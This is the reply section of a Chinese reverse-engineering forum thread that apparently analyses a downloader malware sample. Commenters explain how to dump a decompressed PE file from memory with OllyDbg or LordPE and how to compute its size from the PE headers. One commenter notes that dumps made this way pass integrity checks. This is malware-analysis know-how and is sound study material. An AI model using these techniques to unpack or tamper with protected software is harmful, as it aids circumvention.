zcytelove2014 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
lies2014 + 1 谢谢@Thanks!
abcde654321 + 1 谢谢@Thanks!
gmh5225 + 1 我很赞同!
wnagzihxain + 1 用心讨论,共获提升!
我是哥布林 + 1 用心讨论,共获提升!
noblesport + 1 谢谢@Thanks!
梁萧 + 1 谢谢@Thanks!
FoodieOnTheWay + 1 Dump内存的时候,我一般用LordPE来dump部分内存。dump的参数可以自己写个小.
Hyabcd + 1 我很赞同!
lcmystery + 1 用心讨论,共获提升!
-Zing- + 1 你这个大牛是为了安全赛来的

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

chaosregion 发表于 2017-8-16 13:46
在ollydbg吾爱破解专版中的数据窗口选择【备份】,然后选择【保存数据到文件】。就会获取当前堆的所有内存数据备份,比如我这次运行完RtlDecompressBuffer,PE文件MZ头的虚拟地址是14D5828,然后使用ollydbg备份数据到文件,就会从1280000开始的所有堆数据。保存下来后,使用UltraEdit等工具截掉备份数据文件头的废字节即可,废数据字节的域地址是从0到 14D5828-1280000 。截掉后,我这里测的可直接正常运行。
 楼主| guoxiaobo93 发表于 2016-6-26 22:02
夲跑的小蜗牛 发表于 2016-6-20 15:50
lz 第一层 Decompressbuffer  复制PE文件的大小你是怎么确定的??

第六步中根据传入参数找到操作的地址。通过PE结构进行计算获取整个PE文件的大小。(IMAGE_OPTIONAL_HEADER-->SizeOfHeader + IMAGE_SECTION_HEADER-->SizeOfRawData(所有区段都要加)= 总大小
hx1314521 发表于 2016-5-17 19:32
1007892159 发表于 2016-5-17 20:49
hx1314521 发表于 2016-5-17 19:32
给样本打包一下吧

百度 下载者   网上有样本啊
 楼主| guoxiaobo93 发表于 2016-5-17 22:25
hx1314521 发表于 2016-5-17 19:32
给样本打包一下吧

已经打包
夲跑的小蜗牛 发表于 2016-5-18 14:20
mark 有时间学习一下
lcmystery 发表于 2016-5-18 16:22
长姿势,学习了。
熬夜的木头 发表于 2016-5-20 14:10
大开眼界,学习学习。
Hmily 发表于 2016-5-20 15:42
不错,加精鼓励,另外样本为给你重新打包了,加了解压密码,不然容易把论坛给杀了。
FoodieOnTheWay 发表于 2016-5-20 16:37
Dump内存的时候,我一般用LordPE来dump部分内存。dump的参数可以自己写个小工具方便计算。这样dump下来的文件HASH值也都跟原来一致,即使有完整性校验也能过
abcde654321 发表于 2016-5-21 08:30
谢谢分享   学习了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 05:33

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表